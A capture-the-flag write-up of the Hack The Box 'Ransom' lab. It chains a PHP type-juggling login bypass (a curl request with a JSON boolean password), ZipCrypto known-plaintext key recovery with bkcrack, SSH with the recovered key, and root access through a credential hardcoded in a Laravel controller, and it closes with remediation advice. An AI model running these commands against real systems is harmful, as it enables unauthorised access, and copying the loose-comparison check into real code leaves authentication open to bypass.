Skip to content

Ransom — PHP Type Juggling and ZipCrypto Known-Plaintext

Tools
nmap, curl, 7z, zip, bkcrack, ssh
Skill demonstrated
Authentication-logic abuse and cryptographic archive recovery
Tags
  • linux
  • web
  • php
  • laravel
Field Value
Difficulty Medium
Target environment Linux (Ubuntu 20.04) hosting a Laravel application behind Apache 2.4.41, with OpenSSH 8.2p1
Starting position Unauthenticated network access
Objective Bypass web authentication, recover credentials from an exposed archive, and escalate to root
Outcome Authenticated web session, user-level SSH access via a recovered private key, and root execution

Ransom is a medium-difficulty Hack The Box Linux lab whose Laravel login endpoint accepts a PHP loose-comparison quirk: a JSON boolean true in the password field authenticates without the real credential. Behind the login sits a home-directory ZIP archive encrypted with ZipCrypto; because it ships a predictable .bash_logout, a known-plaintext attack recovers the encryption keys and exposes an SSH private key for initial access. A credential hardcoded in the Laravel authentication controller then provides root. Target addresses, account names, keys, and credentials are replaced with role-based placeholders; command syntax is preserved.

Attack path: PHP type-juggling login bypass → ZipCrypto known-plaintext key recovery → recovered SSH key → user shell → hardcoded Laravel controller credential → root

  • Target: Linux (Ubuntu 20.04) running a Laravel application.
  • Exposed services: SSH (22, OpenSSH 8.2p1) and HTTP (80, Apache 2.4.41).
  • Starting position: unauthenticated network access; the web login accepts only a password, with no username field.
  • Objective: bypass authentication on the web application, recover credentials from the exposed archive, obtain a shell, and escalate to root.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a service-and-version scan exposes two services.

Terminal window
nmap -sC -sV -oA <OUTPUT_PREFIX> <TARGET_IP>
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 — Laravel application

Significance: SSH is the eventual shell target, while the web service hosts a Laravel application whose login page requires only a password.

Result: the exposed surface is limited to an SSH service and a Laravel web application.

2. Login endpoint analysis and type-juggling bypass

Section titled “2. Login endpoint analysis and type-juggling bypass”

Observation: the login endpoint accepts a JSON body carrying a single password field.

Action: a JSON string password is rejected, but a JSON boolean true authenticates.

Terminal window
curl -s http://<TARGET_IP>/api/login \
-H "Content-Type: application/json" \
-d '{"password": true}'
# Login Successful

Significance: PHP’s loose comparison operator (==) treats the boolean true as loosely equal to any non-empty string other than "0", so comparing user input to the expected credential with == accepts true. The request with a string value returned Invalid Password.

Result: a session cookie is issued, confirming authenticated access without the real credential.

Observation: the authenticated application exposes a downloadable home-directory archive named uploaded-file-3422.zip.

Terminal window
7z l -slt uploaded-file-3422.zip | grep -i "method\|encrypt"
Method = ZipCrypto Deflate
Encrypted = +

Significance: ZipCrypto is the original ZIP encryption format and is vulnerable to known-plaintext attacks when at least 12 bytes of a member’s plaintext are known; the archive’s member list is therefore the next target.

Result: the archive is confirmed to use ZipCrypto Deflate encryption.

Observation: the archive contains .bash_logout, whose content on Ubuntu 20.04 is fixed and therefore known.

Action: a reference ZIP with the known member supplies the plaintext for key recovery.

Terminal window
zip plain.zip .bash_logout
./bkcrack -C uploaded-file-3422.zip \
-c .bash_logout \
-P plain.zip \
-p .bash_logout
# Keys recovered: <KEY_1> <KEY_2> <KEY_3>

Significance: the recovered internal keys let bkcrack repackage the archive under a chosen password without knowing the original one.

Terminal window
./bkcrack -C uploaded-file-3422.zip \
-k <KEY_1> <KEY_2> <KEY_3> \
-U unlocked.zip <NEW_PASSWORD>
7z x -p<NEW_PASSWORD> unlocked.zip

Result: the decrypted archive yields .ssh/id_rsa and .ssh/id_rsa.pub, and the public key identifies the account name.

Observation: the archive exposes an unencrypted SSH private key for the account.

Terminal window
chmod 600 .ssh/id_rsa
ssh <LAB_USER>@<TARGET_IP> -i .ssh/id_rsa

Significance: a private key recovered from the archive authenticates directly to the exposed SSH service.

Result: user-level SSH access as <LAB_USER>.

6. Privilege escalation — hardcoded credential in controller source

Section titled “6. Privilege escalation — hardcoded credential in controller source”

Observation: the shell permits reading of the Laravel application source.

Terminal window
find /srv/prod -name "*.php" | xargs grep -l "password" 2>/dev/null
cat /srv/prod/app/Http/Controllers/AuthController.php
public function customLogin(Request $request) {
$request->validate(['password' => 'required']);
if ($request->get('password') == "<HARDCODED_CREDENTIAL>") {
session(['loggedin' => True]);
return "Login Successful";
}
return "Invalid Password";
}

Significance: the credential is hardcoded and compared with the same loose == that the login bypass exploited, so reading the source discloses the secret directly.

Action: authenticating as root with that credential.

Terminal window
su -
# Password: <HARDCODED_CREDENTIAL>
id
# uid=0(root) gid=0(root) groups=0(root)

Result: the id output confirms execution in the root context.

Challenge Decision Rationale
ZipCrypto needs at least 12 bytes of known plaintext Used the predictable .bash_logout shipped inside the archive Ubuntu 20.04 .bash_logout content is fixed and known

The evidence establishes authenticated web access through the PHP type-juggling bypass, recovery of the SSH private key from the ZipCrypto-protected archive, and root execution confirmed by the id output after authenticating with the credential read from the controller source. The initial SSH login is the only transition recorded without captured session output.

The actions below are recommendations; none was validated in the lab.

  1. Loose comparison in authentication logic. Root cause: the controller compares user input to a credential string with ==. Impact: the boolean true compares loosely equal to any non-empty string other than "0", so the check is satisfied and authentication is bypassed. Recommendation: use strict comparison (===) and Laravel’s built-in Auth::attempt(), which performs hashed credential checks, and audit authentication code for loose comparisons.
  2. Credential hardcoded in application source. Root cause: the plaintext credential is embedded in AuthController. Impact: any source disclosure yields the credential, and the same value grants root, so a web-application flaw escalates to host compromise. Recommendation: load secrets from environment configuration or a dedicated secrets manager and keep them out of version control.
  3. ZipCrypto-encrypted archive. Root cause: legacy ZipCrypto encryption is applied to an archive containing a predictable member (.bash_logout). Impact: known-plaintext key recovery exposes the contents, including an SSH private key. Recommendation: use modern authenticated archive encryption such as AES-256 and avoid packaging predictable files into sensitive archives.
Edit page

Last updated: